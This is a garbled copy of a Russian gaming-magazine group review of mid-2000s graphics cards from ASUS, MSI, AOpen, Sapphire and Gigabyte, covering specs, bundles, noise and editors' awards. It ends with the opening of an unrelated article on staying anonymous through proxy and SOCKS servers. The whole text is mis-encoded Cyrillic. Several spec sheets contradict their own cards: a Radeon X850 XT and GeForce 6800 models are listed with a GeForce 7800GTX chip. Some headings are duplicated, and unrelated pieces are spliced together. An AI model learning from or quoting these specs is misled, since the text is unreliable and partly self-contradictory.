Áëîê ïèòàíèÿ: Cooler Master RS-450-ACLY, 450W + Sunny Technologies ATX-350, 350W

test_lab âûðàæàåò áëàãîäàðíîñòü çà ïðåäîñòàâëåííîå íà òåñòèðîâàíèå îáîðóäîâàíèå 
ðîññèéñêèì ïðåäñòàâèòåëüñòâàì êîìïàíèé Sapphire, Asus, MSI, Aopen, Gigabyte

Ïîïîâ Åâãåíèé, test_lab (test_lab@gameland.ru)

Hi-End
Video Accelerator
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SLI ÏÏÐÎÒÈÂ CCROSSFIRE
Ñòîèò ñêàçàòü, ÷òî ïåðâîíà÷àëüíî êîìïàíèÿ Nvidia
ïðåäñòàâèëà íà ñóä ïóáëèêè òåõíîëîãèþ ïîä íàçâàíè-
åì SLI(Scalable Link Interface), ïðè èñïîëüçîâàíèè êîòî-
ðîãî â îäíîì êîìïüþòåðå ìîãóò áûòü îáúåäèíåíû
ìîùíîñòè äâóõ àíàëîãè÷íûõ ãðàôè÷åñêèõ êîíòðîëëå-
ðîâ. À â îòâåò, êàê è ñëåäîâàëî îæèäàòü, ATI
Technologies âûïóñêàåò ïîäîáíóþ ñèñòåìó.
Äëÿ Crossfire èìååòñÿ âåäîìàÿ êàðòà è âåäóùàÿ. Åñëè
òû ñòàâèøü â êà÷åñòâå âåäóùåé êàðòî÷êè ñïåöèàëüíûå
ïëàòû íà ÷èïå X850 èëè x800, òî ëþáûå äðóãèå êàðòû
íà ïîäîáíûõ ÷èïàõ áóäóò âïîëíå ñîâìåñòèìû. Â ñëó-
÷àå SLI íàäî îáÿçàòåëüíî ïîñòàâèòü èìåííî îäèíàêî-
âûå êàðòû. Ñòîèò ñêàçàòü, ÷òî áîëüøèíñòâî àêñåëåðà-
òîðîâ â íàøåì òåñòå ïîääåðæèâàþò ëèáî SLI, ëèáî
CrossFire, òàê ÷òî â áóäóùåì ìîæíî ïîâûñèòü ïðîèçâî-
äèòåëüíîñòü, äîêóïèâ òâîåìó àêñåëåðàòîðó ïàðó.

ASUS Extreme 
N7800 GT
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 7800GT
×àñòîòà ïðîöåññîðà: 430 ÌÃö 
Âèäåîïàìÿòü: 256 Ìá DDR3, 1200 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 430 ÌÃö
Èíòåðôåéñ: AGP èëè PCI-E
Ðàçúåìû Dual VGA, 2xDVI, VIVO
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 2.0, Shader Model 3

Ýòî, åñëè ìîæíî òàê âûðàçèòüñÿ, ìëàäøèé áðàò àêñåëåðàòîðà ASUS Extreme N7800
GTX TOP. Âíåøíèå äàííûå ïðàêòè÷åñêè íå îòëè÷àþòñÿ: òà æå ðûæàÿ ôèçèîíîìèÿ
íà êàðòå è óïàêîâêå, äà è âîîáùå âåñü äèçàéí ïîõîæ. Âìåñòî êåéñà ïîä äèñêè èç
êîæçàìåíèòåëÿ ïðèëàãàåòñÿ ïëàñòèêîâûé, à êàðòîííîé óïàêîâî÷êè ñ èãðàìè íåò è
ïîäàâíî. Îäíàêî âñå ýòî íå âàæíî, åñëè ïðîäóêò âûäàåò òî, ÷òî îò íåãî õî÷åò ïîëü-
çîâàòåëü. À èìåííî ýòî è ïðîèñõîäèò. Â íåêîòîðûõ òåñòàõ êàðòà íå òîëüêî äîãîíÿåò
ñâîåãî òîïîâîãî êîíêóðåíòà, íî åùå è çíà÷èòåëüíî îáõîäèò. Âîò òóò è íà÷èíàåøü çà-
äóìûâàòüñÿ: åñëè íåò ðàçíèöû, çà÷åì ïëàòèòü áîëüøå. Òåì áîëåå, åñëè ìèíóñû âñå
òå æå. Êàðòà òÿæåëåííàÿ è øèðîêàÿ. Âñå òàêæå óñêîðèòåëü ãðååòñÿ, âñå òàêæå óìå-
ðåííî øóìèò íà âûñîêèõ ÷àñòîòàõ. Îòñþäà åäèíñòâåííûé âûâîä � ñîâåòóåì ïîâíè-
ìàòåëüíåå ïðèãëÿäåòüñÿ ê òàêîé ìîäåëè. Ìîæåò áûòü ýòî òî, ÷òî òåáå íóæíî.
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MSI NX7800GTX-SLI
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 7800GTX (G70)
×àñòîòà ïðîöåññîðà: 1x430 ÌÃö
Âèäåîïàìÿòü: 256 Ìá DDR3, 1200 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 400 ÌÃö 
Èíòåðôåéñ: PCI-E
Ðàçúåìû TV-out, 2xDVI, VIVO, HDTV
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 2.0

Êîìïàíèÿ MSI, èçâåñòíàÿ íà êîìïüþòåðíîì ðûíêå ñâîèìè ìàòåðèíñêèìè ïëàòàìè,
ïðåäñòàâëåíà â òåñòå òðåìÿ ãðàôè÷åñêèìè êîíòðîëëåðàìè. Äàííûé àãðåãàò � îäèí
èç ñàìûõ ìîùíûõ â íàøåì îáçîðå. Îí ïîñòàâëÿåòñÿ â èçÿùíîé, êðàñèâîé, ñåðåáðèñ-
òîé êîðîáî÷êå ñ ðó÷êîé. Âíóòðè ìû ìîæåì ïîìèìî êàðòû, íà ëèöåâîé ñòîðîíå êîòî-
ðîé èçîáðàæåí àíãåë â æåíñêîì îáëè÷üå, íàéòè êàáåëü VIVO, êàáåëü äîïîëíèòåëüíî-
ãî ïèòàíèÿ, äâà ïåðåõîäíèêà DVI/D-SUB, äèñê ñ äðàéâåðàìè è óòèëèòàìè, èíñòðóêöèþ
ïî áûñòðîé óñòàíîâêå è ðóêîâîäñòâî ïîëüçîâàòåëÿ. Ïîìèìî ýòîãî, ìîæíî íàéòè èã-
ðóøêó The Chronicles of Riddick íà øåñòè CD. Äèçàéí êàðòû ïðîñò è áåç èçëèøåñòâ. 
Ñ îáðàòíîé ñòîðîíû àäàïòåðà ðàñïîëîæåíû 4 ÷èïà ïàìÿòè, çàêðûòûå ðàäèàòîðîì. 
Ñòîèò çàìåòèòü (ýòî âèäíî ïî ðåçóëüòàòàì òåñòèðîâàíèÿ), ÷òî íàèëó÷øåå èñïîëüçîâàíèå
äàííîãî ïðîäóêòà áóäåò íàáëþäàòüñÿ ïðè ñîåäèíåíèè äâóõ îäèíî÷íûõ êîíòðîëëåðîâ 
â ðåæèì SLI. Â ðåæèìå îäèíî÷íîãî èñïîëüçîâàíèÿ êàðòà îò MSI � ëó÷øàÿ â ñâîåé êàòå-
ãîðèè. ßâíûõ ìèíóñîâ, êðîìå ñëàáîçàìåòíîãî øóìà, îòìåòèòü âðÿä ëè ÷òî-òî ìîæíî.

DIRECTX 99.0C
FRAPS 22.2.5 RRETAIL
FORCEWARE VV/61.76
ATI CCATALYST 55.6
FUTUREMARK 33DMARK ''05 11.0
FUTUREMARK 33DMARK ''03 PPRO 33.4.0 

[òåñòèì ñ ïîìîùüþ]

500

08

price (y.e.) :

number :

650

09

price (y.e.) :

number :





MSI GeForce
NX6800 Ultra
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 7800GTX
(NV40)
×àñòîòà ïðîöåññîðà: 400 ÌÃö 
Âèäåîïàìÿòü: 256 Ìá DDR, 1100 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 400 ÌÃö
Èíòåðôåéñ: AGP èëè PCI-E
Ðàçúåìû TV-out, 2xDVI
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 1.5

Åùå îäèí àãðåãàò îò òàéâàíüñêîé Microstar. Íà óïà-
êîâêå � çëîáíàÿ ìîðäà â øëåìå, ñêðèíøîòû èç èã-
ðóøåê. Ñàìà êàðòà âûãëÿäèò î÷åíü âíóøèòåëüíî è
êðàñèâî. Êàê ïîëîæåíî äëÿ âèäåîàêñåëåðàòîðîâ òà-
êîãî òèïà, ïðèëàãàåòñÿ ñåðüåçíàÿ ñèñòåìà îõëàæäå-
íèÿ. Äîâîëüíî ñèëüíûé ïðîðûâ îáåñïå÷èâàåòñÿ çà
ñ÷åò âñòðîåííîãî â ÷èï ãðàôè÷åñêîãî äâèæêà Cine
FX 3.0, à òàêæå òåõíîëîãèé Ultrashadow II äëÿ îáðà-
áîòêè òåíåé, ÷òî î÷åíü äåéñòâåííî â ñîâðåìåííûõ
èãðóøêàõ. Â êîìïëåêòå ïðîñòî êó÷à âñÿ÷åñêèõ äèñ-
êîâ ñ äðîâàìè, èãðàìè è ïîëåçíûìè ïðîãðàììàìè.
Ïðèñóòñòâóþò òàêæå âñå íåîáõîäèìûå ïåðåõîäíèêè
è øíóðû. Èíòåðåñåí òîò ôàêò, ÷òî ïèòàíèÿ ÷åðåç
ïîðò óñòðîéñòâó áóäåò íåäîñòàòî÷íî. Íà íåì åñòü
ðàçúåì îáû÷íîé ôîðìû äëÿ ïîäïèòêè íåïîñðåä-
ñòâåííî îò ÁÏ. Óñêîðèòåëü ïîêàçàë õîðîøèå ðåçóëü-
òàòû, îäíàêî îí íå êîíêóðåíò ìîíñòðàì íà äâèæêàõ
òèïà 7800GTX. Èç ìèíóñîâ îïÿòü æå îòìå÷àåì òðå-
áîâàíèÿ ê áëîêó ïèòàíèÿ íå ìåíåå 480 Âàòò.

AOpen Aeolus 
7800GTX-DVD256
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 7800GTX (G70)
×àñòîòà ïðîöåññîðà: 1x430 ÌÃö
Âèäåîïàìÿòü: 256 Ìá DDR3, 1200 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 400 ÌÃö 
Èíòåðôåéñ: PCI-E
Ðàçúåìû TV-out, 2xDVI, VIVO, HDTV
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 2.0

Äàííûé ãðàôè÷åñêèé êîíòðîëëåð îò êîìïàíèè AOpen áûë âûïóùåí íà áàçå ïðî-
öåññîðà nVidia GeForce 7800GTX, îáëàäàåò 256 Ìá ïàìÿòè GDDR3 ñ 256-áèòíîé
øèíîé, îáîðóäîâàí äâóìÿ âèäåîèíòåðôåéñàìè DVI äëÿ ïîäêëþ÷åíèÿ öèôðîâûõ
ïàíåëåé è ÒÂ-âûõîäîì S-Video ñ ïîääåðæêîé òåëåâèäåíèÿ âûñîêîé ÷åòêîñòè
HDTV. Èìååòñÿ òàêæå ïîääåðæêà SLI-èíòåðôåéñà. Ó äàííîé êàðòû î÷åíü ñèìïà-
òè÷íûé äèçàéí, âûïîëíåííûé â áåëî-êðàñíî-÷åðíûõ òîíàõ. Â êîìïëåêòàöèè èìåþò-
ñÿ è ïåðåõîäíèêè DVI-D-Sub äëÿ ìîíèòîðîâ ñ àíàëîãîâûìè âûõîäàìè, à òàêæå äèñê
ñ äðàéâåðàìè è ñîïóòñòâóþùèì ïðîãðàììíûì îáåñïå÷åíèåì. Íàøåëñÿ òàêæå 
è äèñê ñ èãðîé Second Sight. Èìååòñÿ ïîääåðæêà òåõíîëîãèé: IntelliSample 4.0, Cine
FX 4.0, UltraShadow II è PureVideo. Ñîãëàñèñü, êîìïëåêòàöèÿ ïðèõðàìûâàåò, îñî-
áåííî äëÿ óñòðîéñòâà ñ òàêîé öåíîé. Íî ïðîèçâîäèòåëüíîñòü, êîíå÷íî, íå ìîæåò íå
ðàäîâàòü. Êàðòî÷êà î÷åíü õîðîøî ïîäõîäèò äëÿ èãð, îäíàêî äëÿ ðàçãîíà ñòîèò ïî-
äûñêàòü ÷òî-òî ïîëó÷øå.

Sapphire ATI
Radeon X800XL
Ãðàôè÷åñêèé ïðîöåññîð: RADEON X800Pro (R430)
×àñòîòà ïðîöåññîðà: 400 ÌÃö
Âèäåîïàìÿòü: G-DDR 3, 256 Ìáàéò
×àñòîòà RAMDAC: 400 ÌÃö
Èíòåðôåéñ: PCI Express 16x
Ðàçúåìû D-Sub è DVI
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 1.5

Îòêðûâàÿ êîðîáêó, ìû ìîæåì ñðàçó çàìåòèòü íå-
îáû÷íîå è íåñòàíäàðòíîå ðåøåíèå äëÿ ñèñòåìû
îõëàæäåíèÿ. Êóëåð îò Zalman, óñòàíîâëåííûé íà
÷èïå, ÿâëÿåòñÿ îäíèì èç ñàìûõ áåñøóìíûõ â òåñ-
òå è èìååò ïðèÿòíûé öâåò è äèçàéí. Íà çàäíåé
ñòîðîíå ïëàòû íàõîäÿòñÿ ÷åòûðå äîïîëíèòåëüíûõ
ðàäèàòîðà. Âíóòðè êîðîáêè íàõîäèòñÿ êîìïëåêò
ïîñòàâêè, äî áîëè çíàêîìûé ïî äðóãèì ïðîäóêòàì
îò Sapphire. Â íàáîð þçåðà âêëþ÷åíû 6 äèñêîâ,
ñðåäè êîòîðûõ èãðû Prince of Persia: Sands of Time
è Splinter Cell: Pandorra Tomorrow, à òàêæå äèñêè 
ñ äðàéâåðàìè, ïëþñ äîêóìåíòàöèÿ è êîìïëåêò èç
ïÿòè íåîáõîäèìûõ ïðîâîäîâ. Òåêñòîëèò êàðòû ñè-
íåãî öâåòà, êàê è ñàì êóëåð, ÷òî íåîáû÷íî äëÿ
êîíòðîëëåðîâ îò Sapphire. Ïî ïðîèçâîäèòåëüíîñòè
êàðòà èìååò ñðåäíèé ðåçóëüòàò, òàê ÷òî åå ëåãêî
ìîæíî ïîñîâåòîâàòü öåíèòåëÿì êàòåãîðèè «Öå-
íà/Êà÷åñòâî». Èç ìèíóñîâ êàðòû îòìåòèì äîâîëü-
íî íèçêóþ ïðîèçâîäèòåëüíîñòü è îòñóòñòâèå ïîä-
äåðæêè ñèñòåìû CrossFire.

ASUS Extreme
N7800GTX TOP
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 7800GTX
×àñòîòà ïðîöåññîðà: 486 ÌÃö 
Âèäåîïàìÿòü: 256 Ìá DDR3, 1350 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 400 ÌÃö
Èíòåðôåéñ: AGP èëè PCI-E
Ðàçúåìû TV-out, 2xDVI
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 2.0

Ýòîò âèäåîêîíòðîëëåð îò ASUS ïðåòåíäóåò íà çâà-
íèå ñàìîãî ïðîèçâîäèòåëüíîãî â ñåãîäíÿøíåì òåñòå.
Îãðîìíîå êîëè÷åñòâî àääîíîâ ê êàðòå íå ìîæåò íå
ðàäîâàòü. Ïîìèìî áîíóñà èç èãð (à ýòî ïÿòü äèñêîâ)
ìû èìååì åùå òðè � ñ äðîâàìè è äîïîëíèòåëüíûìè
ïðîãðàììàìè. ßðêèé áóêëåò ïî óñòàíîâêå èçîáèëóåò
öâåòíûìè êàðòèíêàìè, ïëþñ êî âñåìó àäàïòåðû
DVI/D-SUB, HDTV è ïåðåõîäíèê äîïïèòàíèÿ. Íåëüçÿ
íå óïîìÿíóòü ñèìïàòè÷íûé ìÿãêèé êåéñ ïîä CD â
êîìïëåêòå. Êàðòî÷êà ÿâëÿåòñÿ ìàññèâíûì, øèðîêèì
è òÿæåëûì óñòðîéñòâîì çà ñ÷åò óñòàíîâêè ñèñòåìû
îõëàæäåíèÿ îò Arctic Cooling. Êàðòà çàíèìàåò äâà
PCI-Express ñëîòà èç-çà îáúåìíîé ñèñòåìû îõëàæäå-
íèÿ, à èñïîëüçîâàíèå ASUS Extreme N7800GTX TOP
â ðåæèìå SLI âîçìîæíî òîëüêî íà ìàòåðèíêàõ ASUS,
ïîòîìó ÷òî ðàçúåìû PCI-E íà òàêèõ ìàìêàõ ðàñïîëî-
æåíû äàëüøå äðóã îò äðóãà, ïîýòîìó íå áóäåò ïðîá-
ëåì ñ óñòàíîâêîé òàêèõ êðóïíîãàáàðèòíûõ êàðò. Ñî-
îòâåòñòâåííî, íå çàáóäü ÁÏ Âàòò òàê íà 500, äàþùèé
òîê â 34 Àìïåðà ïî 12Â ëèíèè äëÿ SLI (íå ìåíåå 400).
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Saphire 
ATI RADEON
X850 XT
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 7800GTX (NV40)
×àñòîòà ïðîöåññîðà: 325 ÌÃö 
Âèäåîïàìÿòü: 256 Ìá DDR, 700 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 325 ÌÃö
Èíòåðôåéñ: AGP èëè PCI-E
Ðàçúåìû TV-out, 2xDVI
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 2.0

Saphire ATI RADEON X850 XT  ÿâëÿåòñÿ îäíîé èç ñà-
ìûõ-ñàìûõ êàðòî÷åê íà áàçå ÷èïà Radeon X850XT.
Âåäü ýòî ãðàôè÷åñêèé êîíòðîëëåð, âûïîëíåííûé íà
òðàäèöèîííîì äëÿ Sapphire òåêñòîëèòå êðàñíîãî öâåòà
ñ 256-áèòíîé øèíîé äîñòóïà ê ïàìÿòè, ïîääåðæèâàþ-
ùåé äî 256 ìåãàáàéò GDDR3 è 16 ïèêñåëüíûõ êîíâåéå-
ðîâ. Çàìåòèì, ÷òî ÷àñòîòû äëÿ ÿäðà 540 ÌÃö è 1180
ÌÃö äëÿ ïàìÿòè GDDR3. Õîòÿ îò ïðåäûäóùèõ ïðîäóê-
òîâ, òàêèõ êàê ATI Radeon õ800XT è ATI Radeon õ800XL
(êîòîðûå, ìåæäó ïðî÷èì, ñ÷èòàëèñü ñàìûìè áûñòðûìè
äî íåäàâíåãî âðåìåíè) äàííàÿ êàðòà îòëè÷àåòñÿ ñîâ-
ñåì íåáîëüøèì ïðèðîñòîì ïî ïðîèçâîäèòåëüíîñòè.
Ïëàòîé çà íåãî ñòàëà íîâåéøàÿ «âûõëîïíàÿ» ñèñòåìà
îõëàæäåíèÿ, óñòàíîâëåííàÿ íà Saphire ATI RADEON
X850 XT. Î íåé ñòîèò ðàññêàçàòü ïîïîäðîáíåå. Äåëî â
òîì, ÷òî ïëàñòèêîâûé êîðïóñ, «íàäåòûé» íà ñèñòåìó
«ðàäèàòîð + âåíòèëÿòîð», ïîçâîëÿåò âûáðàñûâàòü ãî-
ðÿ÷èå ñëîè âîçäóõà âíå êîðïóñà ÏÊ, ÷òî îáëåã÷àåò ðà-
áîòó êóëåðà. Îòðèöàòåëüíûì ôàêòîì, êîíå÷íî, ÿâëÿåò-
ñÿ øóì. Èç-çà ïëàñòèêîâîãî êîðïóñà êàðòà äàåò îùóòè-
ìûå âèáðàöèè. Êîìïëåêòàöèÿ áåäíîâàòà.

Saphire 
ATI RADEON
X1800 XL
Ãðàôè÷åñêèé ïðîöåññîð: RADEON X1800 XL
×àñòîòà ïðîöåññîðà: 480 - 500 ÌÃö 
Âèäåîïàìÿòü: 256 Ìá DDR3, 1300 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 500 ÌÃö
Èíòåðôåéñ: PCI-E
Ðàçúåìû Dual VGA, 2xDVI
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà

Ïîääåðæêà DirectX 9.0c, OpenGL 2.0

Îäèí èç ñàìûõ ìîùíûõ àãðåãàòîâ â ñåãîäíÿøíåì
òåñòå. Ýòîãî àïïàðàòà, âîçìîæíî, äàæå ê âûõîäó
ñòàòüè åùå íå áóäåò íà ïðèëàâêàõ ìàãàçèíîâ, íî ìû
ñ òîáîé óæå ñåé÷àñ óçíàåì ÷åãî îí ñòîèò � ýòî ðàç.
È ñòîèò ëè îí ñâîèõ áåøåíûõ äåíåã � ýòî äâà. 
Áåëàÿ êîðîáêà ïî ðàçìåðàì íå áîëüøå ñâîèõ ñîá-
ðàòüåâ îò Sapphire ñî ñòàíäàðòíûì Alien'îì íà îá-
ëîæêå âìåùàåò â ñåáå âñå òîò æå îáû÷íûé íàáîð.
Òðè ïåðåõîäíèêà, íåñêîëüêî äèñêîâ, WinDvd. Ôóòó-
ðèñòè÷åñêèé êóëåð ðàäóåò ãëàç. Íåïëîõî, êîíå÷íî,
îäíàêî êîãäà îáû÷íûé êîìïüþòåðíûé ïðîëåòàðèé
ñìîæåò âêóñèòü ïëîäû ðàçðàáîòêè êîìïàíèé ATI è
Sapphire? Äà, âèäèìî, íå ñêîðî. Ìàëî òîãî, ÷òî îíà
åùå íå ïîÿâèëàñü â ïðîäàæå, òàê è öåíà çàîáëà÷íàÿ.
Òåì íå ìåíåå, ìîæåì ïîðåêîìåíäîâàòü äàííóþ âè-
äåîêàðòó ïîëüçîâàòåëÿì, íå æàëåþùèì çåëåíè äëÿ
ñâîåãî «æëåçíîãî êîíÿ», òî åñòü òåì, êòî ïðåäïî÷è-
òàåò îòäàòü çà ïðîèçâîäèòåëüíîñòü ëþáûå äåíüãè.

Gigabyte 
GV-3D1-68GT
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 6800GT (NV45 GT)
×àñòîòà ïðîöåññîðà: 370 ÌÃö 
Âèäåîïàìÿòü: 512 Ìá GDDR3, 1000 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 370 ÌÃö
Èíòåðôåéñ: PCI-E
Ðàçúåìû S/AV, 2xDVI-I
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 1.5

Ýòî óñòðîéñòâî òû ïîëþáèøü ñðàçó. Íå òîëüêî çà
åãî øèêàðíûé äèçàéí, äîáðîòíóþ íà÷èíêó èç àä-
äîíîâ è äîïîëíèòåëüíûõ ôèøåê â êîðîáêå, íî çà
óäèâèòåëüíîå ðåøåíèå â ïëàíå ïðîèçâîäèòåëü-
íîñòè. Ïðåäñòàâü ñåáå äâà ÷èïà GeForce 6800 GT,
óñòàíîâëåííûå íà îäíó ïëàòó ïðè ïîääåðæêå 512
Ìá DDR3 ïàìÿòè! Òî åñòü ó ïîëüçîâàòåëÿ åñòü âîç-
ìîæíîñòü èñïîëüçîâàòü îäíó êàðòó ëèáî â SLI ðå-
æèìå êàê äâå êàðòû, ëèáî â îáû÷íîì ðåæèìå êàê
îäíó. Ýòî èçáàâëÿåò þçåðà îò íåîáõîäèìîñòè äî-
êóïàòü âòîðîé òàêîé ãðàôè÷åñêèé êîíòðîëëåð.
Åñòü òàêæå ïîääåðæêà ñðàçó ÷åòûðåõ(!) ìîíèòî-
ðîâ è äîïîëíèòåëüíûé àäàïòåð íà äâà àíàëîãîâûõ
ìîíèòîðà. Èõ ìîæíî ñ ïîìîùüþ ïåðåõîäíèêîâ äî-
ïîëíèòü äî öèôðîâûõ. Åñòü è ìèíóñû. Âî-ïåðâûõ,
ýòî ñèëüíî êóñàþùàÿñÿ öåíà, äà è â ñëó÷àå óñòà-
ðåâàíèÿ êàðòû íåò ñìûñëà äîêóïàòü âòîðóþ; âî-
âòîðûõ, àãðåãàò ñèëüíî ãðååòñÿ è çàìåòíî øóìèò,
äà è ïðîèçâîäèòåëüíîñòü ÿâíî íåäîòÿãèâàåò äî òî-
ïîâûõ ìîäåëåé ïî÷òè çà òó æå öåíó.
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ÌÍÎÃÈÌ ÈÇ ÂÀÑ ÅÙÅ ÄÎËÃÎ ÍÅ ÑÂÅÒÈÒ ÄÅÐÆÀÒÜ Â ÐÓÊÀÕ È ÐÀÄÎÂÀÒÜ-
Ñß ÍÀ ÝÒÈÕ ×ÓÄÎ-ÌÎËÎÄÖÎÂ È ÃÈÃÀÍÒÎÂ ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÈ. ÎÄ-
ÍÀÊÎ ÍÀ ÒÎ ÎÍ È ÏÐÎÃÐÅÑÑ, ×ÒÎÁÛ ÁÛËÎ ÊÓÄÀ ÑÒÐÅÌÈÒÜÑß. ÐÅÇÓËÜ-
ÒÀÒÛ Ó ÍÀÑ ÑËÅÄÓÞÙÈÅ: MSI NX7800 GTX È SAPHIRE ATI RADEON X1800 XL
� ËÓ×ØÈÅ ÐÅÁßÒÀ, ÏÎÐÀÄÎÂÀÂØÈÅ ÐÅÇÓËÜÒÀÒÀÌÈ, À ÂÎÒ, ÍÀÏÐÈÌÅÐ
MSI NX6800, � ÀÓÒÑÀÉÄÅÐ ÍÀØÅÃÎ ÒÅÑÒÀ. MSI NX7800 GTX ÏÎËÓ×ÀÅÒ ÎÒ
ÍÀÑ ÏÐÅÌÈÞ «ÂÛÁÎÐ ÐÅÄÀÊÖÈÈ» ÇÀ ÏÐÅÊÐÀÑÍÎÅ ÂÛÏÎËÍÅÍÈÅ ÏÎÑ-
ÒÀÂËÅÍÍÛÕ ÇÀÄÀ×. «ËÓ×ØÀß ÏÎÊÓÏÊÀ» ÑÅÃÎÄÍß � ÝÒÎ ASUS EXTREME
N7800 GT. ÎÒËÈ×ÍÛÉ ÐÅÇÓËÜÒÀÒ Â ÊÓÏÅ Ñ ÖÅÍÎÉ ÑÄÅËÀË ÑÂÎÅ ÄÅËÎ. 

MSI GeForce NX6800
Ãðàôè÷åñêèé ïðîöåññîð: NVIDIA GeForce 7800GTX (NV40)
×àñòîòà ïðîöåññîðà: 325 ÌÃö 
Âèäåîïàìÿòü: 256 Ìá DDR, 700 ÌÃö, 256 áèò
×àñòîòà RAMDAC: 325 ÌÃö
Èíòåðôåéñ: AGP èëè PCI-E
Ðàçúåìû TV-out, 2xDVI
Âîçìîæíîñòü Dual-óñòàíîâêè: Äà 

Ïîääåðæêà DirectX 9.0c, OpenGL 1.5

Ðàññìàòðèâàÿ êîðîáêó è åå ñîäåðæèìîå, äîëãî íå ìîæåøü ïîíÿòü â ÷åì îò-
ëè÷èÿ äàííîãî óñêîðèòåëÿ îò âåðñèè Ultra. Äèçàéí óïàêîâêè, êîìïëåêòàöèÿ,
äàæå âíåøíèé âèä êàðòî÷êè ïðàêòè÷åñêè òàêîé æå, êàê ó åå óñîâåðøåíñòâî-
âàííîãî ñîáðàòà. Îäíàêî ðàçíèöà ìåæäó íèìè äîâîëüíî î÷åâèäíà � ýòî ïðî-
èçâîäèòåëüíîñòü. Îòëè÷èÿ â ïðîèçâîäèòåëüíîñòè è â ðåçóëüòàòàõ òåñòèðîâà-
íèÿ îáúÿñíÿþòñÿ ïàðàìåòðàìè êàðòû. Âî-ïåðâûõ, äàííîå óñòðîéñòâî ïîääåð-
æèâàåò ñòàðûé òèï ïàìÿòè, à âî-âòîðûõ, ó íåå âñåãî äâåíàäöàòü ïèêñåëüíûõ
êîíâåéåðîâ ïðîòèâ øåñòíàäöàòè ó MSI GeForce NX6800 Ultra. Êîíå÷íî, ÷àñòî-
òû ÿäðà ïîõóæå. Åñëè ó GeForce 6800 ÷àñòîòà � 325ÌÃö/700ÌÃö, òî ó
GeForce 6800 Ultra � 400ÌÃÖ/1100ÌÃö. Ñóùåñòâóåò åùå âàðèàíò ñî ñðåäíè-
ìè ïàðàìåòðàìè, íî îá ýòîì íèæå. Êîíå÷íî, óïðîùåííàÿ ìîäåëü äåøåâëå.
Íå çàáóäåì î òåõíîëîãèè îõëàæäåíèÿ MSI Copper ULTRA, êîòîðàÿ ïðèñóò-
ñòâóåò íà âñåõ àãðåãàòàõ MSI NX6800, è ïîäðàçóìåâàåò èñïîëüçîâàíèå ïîë-
íîñòüþ ìåäíûõ ðàäèàòîðà è âåíòèëÿòîðà. Òàêîå ðåøåíèå îáåñïå÷èâàåò
î÷åíü íèçêèé øóìîâîé ïîðîã. Íî íà âûñîêèõ ÷àñòîòàõ çàìåòåí ëåãêèé øóì.
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ÊÀÊ ÂÑÅÃÄÀ ÎÑÒÀÂÀÒÜÑß ÀÍÎÍÈÌÍÛÌ? ÊÀÊ
ÁÅÇÎÏÀÑÍÎ ÏÅÐÅÄÀÂÀÒÜ ÄÀÍÍÛÅ ÏÎ CÅÒÈ?
ÊÀÊ ÎÁÅÇÎÏÀÑÈÒÜ ÑÅÁß ÎÒ ÑÍÈÔÅÐÀ? ÑÅÃÎÄ-
Íß ÌÛ ÐÅØÈËÈ ÎÒÂÅÒÈÒÜ ÍÀ ÂÑÅ ÍÀÊÎÏÈÂ-
ØÈÅÑß ÂÎÏÐÎÑÛ È ÏÎÑÒÀÂÈÒÜ, ÍÀÊÎÍÅÖ,
ÂÑÅ ÒÎ×ÊÈ ÍÀÄ I. ÏÐÈÑÒÅÃÍÈÑÜ, ÒÛ ÄÅÐÆÈØÜ
Â ÐÓÊÀÕ ÑÀÌÛÉ ÏÎËÍÛÉ ÃÈÄ ÏÎ ÁÅÇÎÏÀÑ-
ÍÎÑÒÈ | Ñòåïàí Èëüèí aka Step (step@real.xakep.ru)

ÎÎññòòààòòüüññÿÿ 
èèííêêîîããííèèòòîî

8 øàãîâ íà ïóòè 
ê ïîëíîé áåçîïàñíîñòè

[ïðîêñè è ñîêñ-ñåðâåðû] Ñïðîñè ëþáîãî ãîðå-õàêåðà, êàêèì
îáðàçîì îí îñòàåòñÿ àíîíèìíûì, è îí óâåðåííî îòâåòèò òåáå:
«Ñ ïîìîùüþ ïðîêñè-ñåðâåðà, åñòåñòâåííî». Ìåòîä äåéñòâèòåëü-
íî ïðîâåðåííûé, íî äëÿ òîãî, ÷òîáû óñïåøíî èñïîëüçîâàòü åãî,

íåäîñòàòî÷íî ïðîñòî ïðîïèñàòü ïðîêñè â áðàóçåð. Ïåðâîå, ÷òî íóæíî óÿñíèòü
� ïðîêñè è ñîêñ áûâàþò ðàçíûå. Åäâà ëè îïûòíûé õàêåð ñòàë èñïîëüçîâàòü òå
ïðîêñè-ëèñòû, êîòîðûå ñâîáîäíî ðàñïðîñòðàíÿþòñÿ â Ñåòè. Òåì áîëåå, äëÿ êà-
êîãî-òî ñåðüåçíîãî äåëà. Êòî òàì íåäîâîëüíî ñïðîñèë: «À ïî÷åìó áû è íåò?».
